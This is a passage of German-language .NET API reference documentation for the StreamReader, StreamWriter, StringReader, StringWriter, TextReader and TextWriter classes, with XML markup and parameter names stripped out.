Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + Ein E/A-Fehler ist aufgetreten. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Eingabestreams bzw. null, wenn das Ende des Eingabestreams erreicht ist. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest eine Zeile von Zeichen asynchron aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Stream oder ist null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams. + Der Rest des Streams als Zeichenfolge, von der aktuellen Position bis zum Ende.Wenn die aktuelle Position am Ende des Streams ist, wird eine leere Zeichenfolge ("") zurückgegeben. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Streams. + Die Anzahl der Zeichen ist niedriger als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Zeichen in einen Stream in einer bestimmten Codierung.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, rufen Sie die Verweisquelle auf. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der UTF-8-Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + + ist schreibgeschützt. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + + oder ist null. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße und lässt optional den Stream geöffnet. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Ruft einen Wert ab, der angibt, ob der nach jedem Aufruf von den Puffer in den zugrunde liegenden Stream wegschreibt, oder legt diesen Wert fest. + true, um zum Entleeren des Puffers zu zwingen, andernfalls false. + 1 + + + Ruft den zugrunde liegenden Stream ab, der eine Schnittstelle zu einem Sicherungsspeicher bildet. + Der Stream, in den dieser StreamWriter schreibt. + 2 + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die im Konstruktor für die aktuelle Instanz angegebene oder , sofern keine Codierung angegeben wurde. + 2 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an den zugrunde liegenden Stream. + Der aktuelle Writer wird geschlossen. + Ein E/A-Fehler ist aufgetreten. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + 1 + + + Löscht alle Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Stellt einen StreamWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt ein Zeichen in den Stream. + Das in den Stream zu schreibende Zeichen. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Zeichenarray in den Stream. + Ein Zeichenarray mit den zu schreibenden Daten.Wenn den Wert null ist, wird nichts geschrieben. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Teilarray von Zeichen in den Stream. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt eine Zeichenfolge in den Stream. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert NULL hat, wird nichts geschrieben. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert null ist, wird nichts geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Implementiert einen , der aus einer Zeichenfolge liest. + 2 + + + Initialisiert eine neue Instanz der -Klasse, die aus der angegebenen Zeichenfolge liest. + Die Zeichenfolge, mit der der initialisiert werden soll. + Der -Parameter ist null. + + + Gibt die vom verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest das nächste Zeichen aus der Eingabezeichenfolge und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen in der zugrunde liegenden Zeichenfolge oder -1, wenn keine weiteren Zeichen verfügbar sind. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest einen Zeichenblock aus der Eingabezeichenfolge und verschiebt die Zeichenposition um die durch angegebene Anzahl von Zeichen nach vorn. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner als die Anzahl der angeforderten Zeichen sein, wenn diese Anzahl von Zeichen derzeit nicht verfügbar ist, oder 0, wenn das Ende der zugrunde liegenden Zeichenfolge erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Anfangsindex im Puffer. + Die Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile der aktuellen Zeichenfolge oder null, wenn das Ende der Zeichenfolge erreicht ist. + Der aktuelle Reader ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + 2 + + + Liest eine Zeile von Zeichen asynchron aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Zeichenfolgenreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Der Inhalt ab der aktuellen Position bis zum Ende der zugrunde liegenden Zeichenfolge. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende der Zeichenfolge. + Die Anzahl der Zeichen ist niedriger als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Informationen in eine Zeichenfolge.Die Informationen werden in einem zugrunde liegenden gespeichert. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatierungssteuerelement. + Ein -Objekt zum Steuern der Formatierung. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen . + Der StringBuilder, in den geschrieben werden soll. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen und mit dem angegebenen Formatanbieter. + Der StringBuilder, in den geschrieben werden soll. + Ein -Objekt zum Steuern der Formatierung. + + ist null. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die Encoding, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + + + Gibt den zugrunde liegenden zurück. + Der zugrunde liegende StringBuilder. + 2 + + + Gibt eine Zeichenfolge zurück, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + Die Zeichenfolge, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + 2 + + + Schreibt ein Zeichen in die Zeichenfolge. + Das zu schreibende Zeichen. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Teilarray von Zeichen in die Zeichenfolge. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + + oder ist negativ. + ( + )> .Length. + Der Writer ist geschlossen. + 2 + + + Schreibt eine Zeichenfolge in die aktuelle Zeichenfolge. + Die zu schreibende Zeichenfolge. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Stellt ein Leseprogramm dar, das eine sequenzielle Serie von Zeichenfolgen lesen kann. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Stellt einen TextReader ohne zu lesende Daten bereit. + 1 + + + Liest das nächste Zeichen, ohne den Zustand des Readers oder der Zeichenquelle zu ändern.Gibt das nächste verfügbare Zeichen zurück, ohne es tatsächlich aus dem Reader zu lesen. + Eine Ganzzahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Reader keine Suchvorgänge unterstützt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Text-Reader und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Textreader, bzw. -1, wenn keine weiteren Zeichen verfügbar sind.Die Standardimplementierung gibt -1 zurück. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Reader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , abhängig davon, ob die Daten im Reader verfügbar sind.Diese Methode gibt 0 (null) zurück für den Fall, dass sie aufgerufen wird, wenn keine Zeichen mehr zu lesen sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Readers erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die Methodenrückgabe. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Dieser Parameter enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + -1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 2 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem Textleser und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Readers oder null, wenn alle Zeichen gelesen wurden. + E/A-Fehler. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der ist geschlossen. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest eine Zeile von asynchron Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Textreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Zeichenfolge mit allen Zeichen von der aktuellen Position bis zum Ende des Textreaders. + E/A-Fehler. + Der ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Textreaders. + Die Anzahl der Zeichen ist niedriger als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Stellt einen Writer dar, der eine sequenzielle Serie von Zeichen schreiben kann.Diese Klasse ist abstrakt. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatanbieter. + Ein -Objekt zum Steuern der Formatierung. + + + Speichert die für diesen TextWriter verwendeten Zeilenendemarken. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt beim Überschreiben in einer abgeleiteten Klasse die Zeichencodierung zurück, in der die Ausgabe geschrieben ist. + Die Zeichencodierung, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Textwriter wird freigegeben. + Der Writer wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Ruft ein Objekt zum Steuern der Formatierung ab. + Ein -Objekt für eine bestimmte Kultur oder die Formatierung der aktuellen Kultur, wenn keine andere Kultur angegeben wurde. + 2 + + + Ruft die Zeichenfolge für den Zeilenabschluss ab, die vom aktuellen TextWriter verwendet wird, oder legt diese fest. + Die Zeichenfolge für den Zeilenabschluss für den aktuellen TextWriter. + 2 + + + Stellt einen TextWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt die Textdarstellung eines 